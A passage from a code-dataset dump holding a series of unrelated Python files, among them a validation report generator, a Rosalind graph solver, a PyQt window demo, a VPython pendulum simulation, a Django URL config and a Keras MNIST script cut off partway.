FileNotFoundError:\r\n os.mkdir(\"runs\")\r\n os.mkdir(\"runs/1\")\r\n self.current_path = \"runs/1\"\r\n self._create_sub_dir()\r\n else:\r\n try:\r\n self._create_sub_dir()\r\n except FileExistsError:\r\n pass\r\n\r\n @calculate_time_execute\r\n def transform(self, **kwargs):\r\n \"\"\"\r\n Запуск поочередного выполнения валидационных тестов.\r\n Предварительно создаются директории для хранения отчетов и файл\r\n для записи результата каждго теста\r\n\r\n Parameters:\r\n -----------\r\n **kwargs:\r\n Список параметров пере длины. На вход ожидается в виде словаря\r\n dict с датасетами упакованными в виду следующих записей:\r\n { : tuple(X,y) }\r\n \"\"\"\r\n \"\"\"\r\n # автоматическое добавление категориальных фичей\r\n x_train, y_train = kwargs.get(\"train\", None)\r\n categorical = x_train.select_dtypes(include=[\"object\", \"category\"])\\\r\n .columns().tolist()\r\n\r\n self.categorical_features = set(self.categorical_features)\\\r\n + set(categorical) \r\n \"\"\"\r\n x_train, _ = kwargs.get(\"train\", (None, None))\r\n categories = x_train.select_dtypes(include=[\"object\", \"category\"])\\\r\n .columns.tolist()\r\n\r\n if self.categorical_features is not None:\r\n self.categorical_features = list(set(self.categorical_features\\\r\n + categories))\r\n else:\r\n self.categorical_features = categories\r\n\r\n for model_name, mdl in self.models.items():\r\n if isinstance(mdl, tuple):\r\n model, features_list = mdl\r\n else:\r\n model = mdl\r\n features_list = mdl.used_features\r\n\r\n writer = pd.ExcelWriter(path=f\"{self.current_path}\"\r\n f\"/docs/Validation_report\"\r\n f\"_{model_name}.xlsx\")\r\n creator = CreateReport(writer=writer,\r\n model_name=model_name,\r\n model=model,\r\n features_list=features_list,\r\n cat_features=self.categorical_features,\r\n drop_features=self.drop_features,\r\n model_type=self.model_type,\r\n target_transformer=self.log_transformer,\r\n current_path=self.current_path,\r\n handbook=self.hdbk)\r\n\r\n for test in self.checklist:\r\n reporter = creator.create_reporter(test)\r\n reporter.validate(**kwargs) \r\n \r\n writer.save()\r\n #print(\"Total report creating time: \")\r\n","sub_path":"drafts/dspl/validation_report/.ipynb_checkpoints/ValidationReporter-checkpoint.py","file_name":"ValidationReporter-checkpoint.py","file_ext":"py","file_size_in_byte":9966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"384550398","text":"import os\nimport sys\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport pygraphviz as pgv\n\nfile = open(os.path.join(os.path.dirname(sys.argv[0]), 'rosalind_nwc.txt'))\nlines = [line.rstrip('\\n') for line in file]\n\n# Remove header\nfirst_line = lines.pop(0)\nn = int(first_line.split(\" \")[0])\nprint(lines)\n\n# Process file\ngraphs = []\npairs = []\nfor line in lines:\n if len(line.split(\" \")) == 3:\n pairs.append([int(x) for x in line.split(\" \")])\n elif len(line.split(\" \")) == 2:\n print(\"New block\")\n pairs = []\n graphs.append(pairs)\n\n\n# Iterate graphs\nresults = []\nfor graph in graphs:\n # Create graph\n G = nx.DiGraph()\n\n # Unique nodes\n flat_list = [val for sublist in graph for val in sublist]\n uniq_node = list(set(flat_list))\n for node in range(1, max(uniq_node)):\n G.add_node(node)\n\n # Place edges\n for pair in graph:\n G.add_edge(pair[0], pair[1], weight=pair[2])\n\n # Compute connected components\n cycle = nx.negative_edge_cycle(G)\n if cycle == True:\n results.append(1)\n else:\n results.append(-1)\n\n # AG = nx.nx_agraph.to_agraph(G)\n # AG.write(\"file.dot\")\n # AG.layout()\n # AG.draw(f'file{i}.png')\n\n\nprint(\" \".join([str(x) for x in results]))\n","sub_path":"NWC/NWC.py","file_name":"NWC.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"36821037","text":"\n\n#calss header\nclass _PILAU():\n\tdef __init__(self,): \n\t\tself.name = \"PILAU\"\n\t\tself.definitions = [u'rice cooked in spicy liquid, often with vegetables or meat added: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_pilau.py","file_name":"_pilau.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"555701290","text":"from caserec.evaluation.item_recommendation import ItemRecommendationEvaluation\n\npredictions_file = '../results/u.result'\ntest_file = '../'\n\nclass modelEvaluation():\n def __init__(self, recommen):\n self.recommen = recommen\n\n ItemRecommendationEvaluation().evaluate_with_files(predictions_file, test_file)\n\n","sub_path":"src/modelEvaluation.py","file_name":"modelEvaluation.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"123605241","text":"class Time(object):\n def __init__(self, day, time, quarter):\n \"\"\"Pre: Day (string), time(String), quarter (String), pass these in \n directly from the excel sheet\"\"\"\n self.quarter = quarter\n self.day = day\n self.time = self.generate_time(time)\n self.start = self.time[0]\n self.end = self.time[1]\n \n \n def generate_time(self, time):\n \"\"\"This converts the string time into a start and end value\"\"\"\n start = 0\n end = 0\n split_dash = time.split(\"-\")\n if len(split_dash) == 1:\n split_col = split_dash[0].split(\":\") \n if split_col[0] == \"\":\n start = 0.0\n else:\n start = int(split_col[0]) + int(split_col[1])/60.0\n end = start + 2.0\n if start < 8:\n start = start + 12.0\n end = end + 12.0\n elif end < start:\n end = end + 12.0\n else:\n split_d1 = split_dash[0]\n split_d2 = split_dash[1]\n split_col1 = split_d1.split(\":\")\n split_col2 = split_d2.split(\":\")\n if split_col1[0] == \"\":\n start = 0.00\n elif len(split_col1) == 2:\n start = int(split_col1[0]) + float(split_col1[1])/60.0\n else:\n start = int(split_col1[0]) \n if split_col2[0] == \"\":\n end = 0.00 \n elif len(split_col2) == 2:\n end = int(split_col2[0]) + float(split_col2[1])/60.0\n else:\n end = int(split_col2[0])\n if start < 8:\n start = start + 12.0\n end = end + 12.0\n elif end < start:\n end = end + 12.0\n return [start, end]\n \n def has_conflict_with(self, other):\n \"\"\"Pre : Another time object is passed\n \n Post : True is returned if there is no scheduling conflict with the \n time of the course passed and the time of the course this method was \n called on. Fale is returned otherwise\"\"\"\n if self.quarter == other.quarter and (self.day in other.day or other.day in self.day):\n if self.start > other.end or self.end < other.start:\n return True\n else:\n return False\n else:\n return True\n","sub_path":"Time.py","file_name":"Time.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"517826929","text":"import itertools\nimport coveoUtils\nfrom classConfigurable import configurable\nfrom libIOWUtils import rst_table\nfrom libIOWUtils import rst_utils\nfrom classIOWGeneratorComponentBase import iow_generator_component_base\n\n\nclass iow_generator_fields(iow_generator_component_base):\n\n FIELD_SETTINGS = {\n \"facet\": 'Facet', \n \"multiValueFacet\": 'Multi-value facet', \n \"sort\": 'Sortable', \n \"includeInQuery\": 'Search', \n \"includeInResults\": 'Display', \n \"mergeWithLexicon\": 'Free text', \n \"ranking\": 'Ranking', \n \"stemming\": 'Stemming', \n \"useCacheForSort\": 'Cache for sort',\n \"useCacheForComputedFacet\": 'Cache for computed', \n \"useCacheForNestedQuery\": 'Cache for nested', \n \"useCacheForNumericQuery\": 'Cache for numeric'\n }\n\n def __init__(self, config, fields):\n super(iow_generator_fields, self).__init__(config,\n 'Fields',\n 'fields')\n self.fields = fields\n\n def get_output_folder(self):\n return r'%s\\%s' % (self.config['iow']['root_folder'], self.config['iow']['fields_subfolder'])\n\n def generate_iow(self):\n super(iow_generator_fields, self).generate_iow()\n\n table = rst_table()\n table.headers = ['Name', 'Type', 'Description', 'Settings']\n for field in self.fields.loadFromLocal()['items']:\n table.rows.append([field['name'],\n field['type'],\n field['description'],\n self.__generate_settings(field)])\n self.output_table(table)\n\n self.save()\n\n def __generate_settings(self, field):\n values = []\n for setting in iow_generator_fields.FIELD_SETTINGS.keys():\n if field[setting]:\n values.append(iow_generator_fields.FIELD_SETTINGS[setting])\n return ', '.join(values)\n","sub_path":"api/bin/classIOWGeneratorFields.py","file_name":"classIOWGeneratorFields.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"36864686","text":"string = input(\"Give me a string: \")\nprint(\"The string you gave is \\\"\", string, \"\\\"\")\nlength = len(string)\nprint(\"the string is \",length, \" characters long\")\n\n\n\ndef removespaces(stringToBeCleaned):\n position = 0\n clean = \"\"\n while position < length:\n cleanletter = stringToBeCleaned[position]\n if cleanletter != \" \":\n clean = clean + cleanletter\n position += 1\n return clean\n\ncleanstring = removespaces(string)\nprint(\"If you clean it, that would be \\\"\",cleanstring,\"\\\"\")\n\ncleanlength = len(cleanstring)\nprint(\"the cleaned string is \",cleanlength, \"characters long\")\n\nbackwards = \"\"\n\n\np = cleanlength - 1\nwhile p >= 0:\n letter = cleanstring[p]\n backwards = backwards + letter\n p -= 1\nprint(\"and if you make the cleanstring backwards you get \\\"\",backwards,\"\\\"\")\n\nif backwards == cleanstring:\n print (\"You have a palindrome HURRAH\")\nelse: \n print(\"You do not have a palindrome. Try again.\")\n\n","sub_path":"w2d2py.py","file_name":"w2d2py.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"259139322","text":"#! /usr/bin/env python\n# -*- mode: python; coding: utf-8 -*-\n# Copyright 2016 the HERA Collaboration\n# Licensed under the 2-clause BSD license.\n\n\"\"\"Onetime transfer of geo-locations of antennas into the M&C database.\n\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nfrom hera_mc import geo_location, mc\n\ndata = {}\ndata['HH'] = ['HERA Hex locations','ro']\ndata['PH'] = ['PAPER Hex locations','rs']\ndata['PI'] = ['PAPER Imaging locations','gs']\ndata['PP'] = ['PAPER Polarize locations','bd']\ndata['S'] = ['Station grid locations','ks']\ndata['CR'] = ['Container location','k*']\ndata['ND'] = ['Node location','r*']\n\nsorted_keys = sorted(data.keys())\n\nparser = mc.get_mc_argument_parser()\nargs = parser.parse_args()\ndb = mc.connect_to_mc_db(args)\n\nwith db.sessionmaker() as session:\n for k in sorted_keys:\n d = geo_location.StationMeta()\n d.prefix = k\n d.description = data[k][0]\n d.plot_marker = data[k][1]\n session.add(d)\n print(d)\n\n","sub_path":"scripts/onetime_update_station_meta.py","file_name":"onetime_update_station_meta.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"405255365","text":"#!/usr/bin/python\n# -*- coding: cp936 -*-\n\nimport sys\nfrom PyQt4 import QtGui\nfrom PyQt4 import QtCore\n\n\n'''\nclass Icon(QtGui.QWidget):\n def __init__(self,parent=None):\n QtGui.QWidget.__init__(self,parent)\n \n #self.setGeometry(250,250,300,250)\n #self.setWindowTitle('music')\n #self.setToolTip('this is a QWidget widget')\n #QtGui.QToolTip.setFont(QtGui.QFont('OldEnglish',10))\n \n #self.setWindowIcon(QtGui.QIcon('icon/tu.png'))\n ''' \n\n'''\nclass Tooltip(QtGui.QWidget):\n def __init__(self,parent=None):\n QtGui.QWidget.__init__(self,parent)\n \n self.setGeometry(250,250,250,100)\n self.setWindowTitle('music')\n self.setToolTip('this is a QWidget widget')\n QtGui.QToolTip.setFont(QtGui.QFont('OldEnglish',10))\n'''\n'''\nclass QuitButton(QtGui.QWidget):\n def __init__(self,parent=None):\n QtGui.QWidget.__init__(self,parent)\n \n self.setGeometry(300,300,250,100)\n self.setWindowTitle('Quit')\n # self.setWindowIcon(QtGui.QIcon('icon/tu.png'))\n\n quit=QtGui.QPushButton('close',self)\n quit.setGeometry(10,10,64,35)\n\n self.connect(quit,QtCore.SIGNAL('clicked()'),QtGui.qApp,QtCore.SLOT('quit()'))\n'''\n'''\nclass MessageBox(QtGui.QWidget):\n def __init__(self,parent=None):\n QtGui.QWidget.__init__(self,parent)\n\n #self.setGeometry(300,300,250,100)\n #self.setWindowTitle('music')\n \n\n def closeEvent(self,event):\n reply=QtGui.QMessageBox.question(self,'Message',\"are you want quit?\",QtGui.QMessageBox.Yes,QtGui.QMessageBox.No)\n \n# QtGui.QMessageBox.setGeometry(300,300,20,10)\n\n if reply==QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n'''\nclass Center(QtGui.QWidget):\n def __init__(self,parent=None):\n QtGui.QWidget.__init__(self,parent)\n self.setWindowTitle('music')\n self.resize(250,150)\n self.center()\n\n def center(self):\n screen=QtGui.QDesktopWidget().screenGeometry()\n size=self.geometry()\n self.move((screen.width()-size.width())/2,(screen.height()-size.height())/2)\n\n \n\napp = QtGui.QApplication(sys.argv)\n#qb=QuitButton()\n#qb.show()\n#icon=Icon()\n#tooltip = Tooltip()\n#tooltip.show()\n#widget=QtGui.QWidget()\n#widget.resize(360,200)\n#widget.setWindowTitle('music')\n#icon.show()\n#widget.show()\n\n\nqb=Center()\n#qb=MessageBox()\n#qb.show()\nqb.show()\n\nsys.exit(app.exec_())\n\n\n","sub_path":"windows.py","file_name":"windows.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"576661355","text":"# -*- coding: utf-8 -*-\nCRIANCAS = 2\nREGULAR = 0\nNOVA_RELEASE = 1\n\nclass Filme:\n CRIANCAS = 2\n REGULAR = 0\n NOVA_RELEASE = 1\n _titulo = None\n _precoCod = None\n\n def __init__(self,titulo,precoCodigo):\n self._titulo = titulo\n self._precoCodigo = precoCodigo\n def getPrecoPorCodigo(self):\n return self._precoCodigo\n def setPrecoPorCodigo(self, arg):\n self._precoCodigo = arg\n def getTituloFilme(self):\n return self._titulo\n\n def getCharge(self, diasAlocados):\n resultado = 0.0\n if self._precoCodigo == REGULAR:\n resultado = resultado + 2\n if diasAlocados > 2:\n resultado = resultado + (diasAlocados - 2) * 1.5\n elif self._precoCodigo == NOVA_RELEASE:\n resultado = resultado + 3\n elif self._precoCodigo == CRIANCAS:\n resultado = resultado + 1.5\n if diasAlocados > 3:\n resultado = resultado + (diasAlocados-3) * 1.5\n return resultado\n\n def getBonusAlocacao(self, diasAlocados):\n if self._precoCodigo == Filme.NOVA_RELEASE and diasAlocados > 1:\n return 2\n else:\n return 1\n\nif __name__ == '__main__':\n meuFilme = Filme('titanic',3)\n","sub_path":"Filme.py","file_name":"Filme.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"161256160","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nUtility file for collecting frequently used constants and helper functions.\n\nCreated on Wed Sep 29 10:50:36 2021\n\n@author: lbechberger\n\"\"\"\nfrom sklearn.metrics import accuracy_score, balanced_accuracy_score, f1_score, cohen_kappa_score, roc_auc_score\n\n\n# column names for the original data frame\nCOLUMN_TWEET = \"tweet\"\nCOLUMN_LIKES = \"likes_count\"\nCOLUMN_RETWEETS = \"retweets_count\"\nCOLUMN_PHOTO = \"photos\"\nCOLUMN_VIDEO = \"video\"\nCOLUMN_URL = \"urls\"\nCOLUMN_HASHTAGS = \"hashtags\"\nCOLUMN_MENTIONS = \"mentions\"\nCOLUMN_DATE = \"date\"\nCOLUMN_TIME = \"time\"\n\n# column names of novel columns for preprocessing\nCOLUMN_LABEL = \"label\"\nCOLUMN_PUNCTUATION = \"tweet_no_punctuation\"\n# default column for tweets without stopwords\nCOLUMN_STOPWORDS = \"tweet_no_stopwords\"\n# default column of tokenized tweets\nTWEET_TOKENIZED = \"tweet_tokenized\"\nCOLUMN_PHOTO_PRESENT = \"photo_present\"\nCOLUMN_VIDEO_PRESENT = \"video_present\"\nCOLUMN_URL_PRESENT = \"urls_present\"\n\n# default column names for evaluation\nCOLUMN_Y_TRUE = \"labels\"\n\n# default list of evaluation metrics and their names to be displayed in the output\nEVAL_METRICS = {\n \"accuracy\": accuracy_score, \n \"balanced_accuracy\": balanced_accuracy_score, \n \"F1\": f1_score,\n \"Cohens_kappa\": cohen_kappa_score, \n \"ROC\": roc_auc_score\n }\n# default folder for storing evaluation metrics results\nEVAL_RESULTS_PATH = \"./results/\"\n\n# default suffix for creatnig column with stemmed output\nSUFFIX_STEMMED = \"_stemmed\"\n\n# default embedding input column\nEMBEDDING_INPUT = \"tweet_no_stopwords\"\n# default column suffix for embeddings column\nEMBEDDING_COL = \"_embedding\"\n\n# default column with hashtags\nCOLUMN_HASHTAG = \"hashtags\"","sub_path":"code/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"187840181","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: 代码医生工作室\n@公众号:xiangyuejiqiren (内有更多优秀文章及学习资料)\n@来源: <深度学习之TensorFlow工程化项目实战>配套代码 (700+页)\n@配套代码技术支持:bbs.aianaconda.com (有问必答)\n\"\"\"\nimport sys #初始化环境变量\nroot_dir = r\"/Users/lulei05/Documents/study/deep_learning/common_data/第3章 配套资源/\"\nnets_path = root_dir + 'slim'\n\nif nets_path not in sys.path:\n sys.path.insert(0,nets_path)\nelse:\n print('already add slim')\n\nimport tensorflow as tf #引入头文件\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\nfrom nets.nasnet import nasnet\nimport numpy as np\nfrom datasets import imagenet\nslim = tf.contrib.slim\n\ntf.reset_default_graph()\n\nimage_size = nasnet.build_nasnet_mobile.default_image_size #获得图片输入尺寸\n\ndef getone(onestr):\n return onestr.replace(',',' ')\n\nwith open(root_dir + '中文标签.csv','r+') as f: \t\t#打开文件\n labels =list( map(getone,list(f)) )\n print(len(labels),type(labels),labels[:5])\n\n\n\ncheckpoint_file = root_dir + r'./nasnet-a_mobile_04_10_2017/model.ckpt' #定义模型路径\nsample_images = ['hy.jpg', 'ps.jpg','72.jpg'] #定义待测试图片路径\ninput_imgs = tf.placeholder(tf.float32, [None, image_size,image_size,3]) #定义占位符\n\nx1 = 2 *( input_imgs / 255.0)-1.0 #归一化图片\n\n\narg_scope = nasnet.nasnet_mobile_arg_scope() #获得模型命名空间\nwith slim.arg_scope(arg_scope):\n logits, end_points = nasnet.build_nasnet_mobile(x1,num_classes = 1001, is_training=False)\n prob = end_points['Predictions']\n y = tf.argmax(prob,axis = 1) #获得结果的输出节点\n\n\n\nsaver = tf.train.Saver() #定义saver,用于加载模型\nwith tf.Session() as sess: #建立会话\n saver.restore(sess, checkpoint_file) #载入模型\n\n def preimg(img): #定义图片预处理函数\n ch = 3\n if img.mode=='RGBA': #兼容RGBA图片\n ch = 4\n\n imgnp = np.asarray(img.resize((image_size,image_size)),\n dtype=np.float32).reshape(image_size,image_size,ch)\n return imgnp[:,:,:3]\n\n\n #获得原始图片与预处理图片\n batchImg = [ preimg( Image.open(root_dir + imgfilename) ) for imgfilename in sample_images ]\n orgImg = [ Image.open(root_dir + imgfilename) for imgfilename in sample_images ]\n\n yv,img_norm = sess.run([y,x1], feed_dict={input_imgs: batchImg}) #输入到模型\n\n print(yv,np.shape(yv)) #显示输出结果\n def showresult(yy,img_norm,img_org): #定义显示图片函数\n plt.figure()\n p1 = plt.subplot(121)\n p2 = plt.subplot(122)\n p1.imshow(img_org)# 显示图片\n p1.axis('off')\n p1.set_title(\"organization image\")\n\n #显示图片\n p2.imshow((img_norm * 255).astype(np.uint8))\n p2.axis('off')\n p2.set_title(\"input image\")\n\n plt.show()\n\n print(yy,labels[yy])\n\n for yy,img1,img2 in zip(yv,batchImg,orgImg): #显示每条结果及图片\n showresult(yy,img1,img2)\n\n","sub_path":"slimPlayground/nasnet_mobile_image_classify.py","file_name":"nasnet_mobile_image_classify.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"475980136","text":"\"\"\"\nAsk one question about classes in python\n\"\"\"\n\n\nclass FarmAnimal(object):\n \"\"\"\n One question:\n How do you create a new class?\n \"\"\"\n def __init__(self, name, sound):\n \"\"\"Initialize the class.\"\"\"\n self.name = name\n self.sound = sound\n\n def basic_info(self):\n \"\"\"Return the name and sound of the farm_animal.\"\"\"\n print(\"The {} says {}.\".format(self.name, self.sound))\n\nif __name__ == \"__main__\":\n a1 = FarmAnimal(\"cow\", \"moo\")\n a2 = FarmAnimal(\"pig\", \"oink\")\n a3 = FarmAnimal(\"duck\", \"quack\")\n animals = [a1, a2, a3]\n for a in animals:\n a.basic_info()\n","sub_path":"students/JonWoodard/session05/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"542971480","text":"import turtle\nturtle.hideturtle()\nturtle.register_shape(\"newnew_bird.gif\")\n\nbirdy = turtle.clone()\nbirdy.shape(\"newnew_bird.gif\")\nbirdy.penup()\nbirdy.showturtle()\n\nUP_ARROW = \"Up\"\n\ndef grav():\n my_pos = birdy.pos()\n x_pos = my_pos[0]\n y_pos = my_pos[1]\n birdy.goto(x_pos, (y_pos - 5))\n turtle.ontimer(grav, 30)\n \ngrav()\n\ndef up():\n for i in range(10):\n my_pos = birdy.pos()\n x_pos = my_pos[0]\n y_pos = my_pos[1]\n birdy.goto(x_pos, y_pos + 5)\n \nturtle.onkeypress(up, UP_ARROW)\nturtle.listen()\n\n\n","sub_path":"bird.py","file_name":"bird.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"371574381","text":"from django.urls import path\n\nfrom django.contrib.auth import views as auth_views\n\n\nfrom . import views # from base import views\n\nurlpatterns = [\n path(\"\", views.home, name=\"home\"),\n path(\"all/\", views.all, name=\"all\"),\n path(\"login/\", views.loginPage, name=\"login\"),\n path(\"register/\", views.register, name=\"register\"),\n path(\"logoutUser/\", views.logoutUser, name=\"logoutUser\"),\n path('about/',views.about,name=\"about\"),\n path('google_oauth/redirect/', views.RedirectOauthView_all ,name=\"oauth_all\"),\n path('google_oauth/redirect/', views.RedirectOauthView_home ,name=\"oauth_home\"),\n path('google_oauth/callback/',views.Callback),\n path('privacy_policy/',views.privacy_policy),\n]","sub_path":"Kode_calendar/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"108247636","text":"# Copyright (C) 2022 Intel Corporation\n# SPDX-License-Identifier: Apache-2.0\n#\n\nfrom otx.mpa.registry import STAGES\nfrom otx.mpa.seg.exporter import SegExporter\nfrom otx.mpa.utils.logger import get_logger\n\nfrom .stage import SemiSLSegStage\n\nlogger = get_logger()\n\n\n@STAGES.register_module()\nclass SemiSLSegExporter(SemiSLSegStage, SegExporter):\n def __init__(self, **kwargs):\n SemiSLSegStage.__init__(self, **kwargs)\n\n def configure(self, model_cfg, model_ckpt, data_cfg, training=False, **kwargs):\n cfg = SemiSLSegStage.configure(self, model_cfg, model_ckpt, data_cfg, training=training, **kwargs)\n\n cfg.model.type = cfg.model.orig_type\n cfg.model.pop(\"orig_type\", False)\n cfg.model.pop(\"unsup_weight\", False)\n cfg.model.pop(\"semisl_start_iter\", False)\n\n return cfg\n","sub_path":"otx/mpa/seg/semisl/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"496098096","text":"'''\"Contestant who earns a score equal to or greater than the k-th place finisher's score will advance to the next round, as long as the contestant earns a positive score...\" — an excerpt from contest rules.\r\n\r\nA total of n participants took part in the contest (n ≥ k), and you already know their scores. Calculate how many participants will advance to the next round.\r\n\r\nInput\r\nThe first line of the input contains two integers n and k (1 ≤ k ≤ n ≤ 50) separated by a single space.\r\n\r\nThe second line contains n space-separated integers a1, a2, ..., an (0 ≤ ai ≤ 100), where ai is the score earned by the participant who got the i-th place. The given sequence is non-increasing (that is, for all i from 1 to n - 1 the following condition is fulfilled: ai ≥ ai + 1).\r\n\r\nOutput\r\nOutput the number of participants who advance to the next round.'''\r\n\r\ncont = int(input(\"Enter the Number of contestant: \"))\r\nk_score = int(input(\"Enter the kth player score\"))\r\n\r\ncont_scores = [input(\"Enter the contestant scores\") for i in range(cont)]\r\nc = 0\r\nfor i in range(cont):\r\n if int(cont_scores[i]) > k_score:\r\n c = c+1\r\n\r\nprint(c)","sub_path":"ep6_Next Round.py","file_name":"ep6_Next Round.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"8161485","text":"from graph_tool import Graph\nimport numpy as np\n\nused = []\nvisited_list = []\n\ndef dfs(g, v, limit, d):\n global used\n used[g.vertex_index[v]] = 1\n global visited_list\n visited_list.append(v)\n for to in v.all_neighbors():\n if used[g.vertex_index[to]] == 0:\n if d + 1 <= limit:\n dfs(g, to, limit, d + 1)\n\ndef dfs_search_with_limit(g, source, limit):\n global used\n used = np.zeros(16000, dtype='int')\n global depth\n global visited_list\n visited_list = []\n dfs(g, source, limit, 0)\n return visited_list","sub_path":"backend/flask_server/depth_first_searcher.py","file_name":"depth_first_searcher.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"581245227","text":"import pymc as pm\n\nN = 100\np = pm.Uniform(\"freq_cheating\", 0, 1)\n\ntrue_answers = pm.Bernoulli(\"truths\", p, size=N)\n\nfirst_coin_flips = pm.Bernoulli(\"first_flips\", 0.5, size=N)\nsecond_coin_flips = pm.Bernoulli(\"second_flips\", 0.5, size=N)\n\n@pm.deterministic\ndef observed_proportion(t_a=true_answers, fc=first_coin_flips, sc=second_coin_flips):\n observed = fc * t_a + (1- fc) * sc\n return observed.sum() / float(N)\n\nprint(observed_proportion.value)\n","sub_path":"Algorithms/privacy_algorithm.py","file_name":"privacy_algorithm.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"363907220","text":"# b07901016\n# https://youtu.be/ImeHllDkHKA\nfrom vpython import *\nimport math\n\n# x vx -> east, y vy -> sky, z vz -> north\ng = 9.8\nsize, m = 0.05, 0.5\nL, k = 2, 15000\nlat = 25 * pi / 180 # latitude rad \nomega = 2 * pi / 86400 # rad / s \n\nscene = canvas(width=500, height=500, center=vec(0, -1, 0), background=vec(0.5,0.5,0))\nceiling = box(length=1.5, height=0.005, width=1.5, color=color.blue)\nball = sphere(radius = size, color=color.red, make_trail = True, trail_type = \"points\", interval = 50, retain = 20)\nspring = cylinder(radius=0.005) # default pos = vec(0, 0, 0)\nball.v = vec(0, 0, 0)\nball.pos = vec(-L * sin(pi / 6), -L * cos(pi / 6), 0)\ndt = 0.001\nspring_force = - k * (mag(spring.axis) - L) * spring.axis.norm() \ncoriolis_force = 2 * omega * vec(ball.v.z * sin(lat) - ball.v.y * cos(lat), -ball.v.x * sin(lat), ball.v.x * cos(lat))\nball.a = vector(0, - g, 0) + spring_force / m + coriolis_force / m\nlastay = ball.a.y\ncnt, per = 0, 0\nwhile True:\n rate(10000)\n spring.axis = ball.pos - spring.pos \n spring_force = - k * (mag(spring.axis) - L) * spring.axis.norm() \n coriolis_force = 2 * omega * vec(ball.v.z * sin(lat) - ball.v.y * cos(lat), -ball.v.x * sin(lat), ball.v.x * cos(lat))\n ball.a = vector(0, - g, 0) + spring_force / m + coriolis_force / m\n ball.v += ball.a*dt\n ball.pos += ball.v*dt\n if lastay * ball.a.y < 0:\n cnt += 1\n lastay = ball.a.y\n if cnt == 8000:\n cnt = 0\n per += 1\n print(per * 1000, \" period\")\n print(ball.pos)\n vec1 = vec(ball.pos.x, 0, ball.pos.z)\n vec2 = vec(-1, 0, 0)\n theta = acos(dot(vec1, vec2) / (vec1.mag * vec2.mag))\n print(theta * 180 / pi)\n \n","sub_path":"First_semester/HW4/hw4_optional.py","file_name":"hw4_optional.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"217998809","text":"import string\nimport random\n\ndef gerar_senha(tamanho=12):\n caracteres = string.ascii_letters + string.digits + string.punctuation\n senha = ''.join(random.choice(caracteres) for _ in range(tamanho))\n return senha\n\nsenha_forte = gerar_senha() \n\nprint(\"Sua senha forte é:\", senha_forte)","sub_path":"gerador-senhas/com-funcao.py","file_name":"com-funcao.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"444503381","text":"# 필요한 라이브러리 불러오기\nfrom keras.datasets import mnist\nfrom keras import models\nfrom keras import layers\nfrom keras.utils import to_categorical\nimport keras\nimport cv2\n\n# MNIST 데이터셋 불러오기\n(train_images, train_labels), (test_images, test_labels) = mnist.load_data()\n\n# 이미지 데이터 준비하기 (모델에 맞는 크기로 바꾸고 0과 1사이로 스케일링)\ntrain_images = train_images.reshape((60000, 28 * 28))\ntrain_images = train_images.astype('float32') / 255\ntest_images = test_images.reshape((10000, 28 * 28))\ntest_images = test_images.astype('float32') / 255\n\n# 레이블을 범주형으로 인코딩\ntrain_labels = to_categorical(train_labels)\ntest_labels = 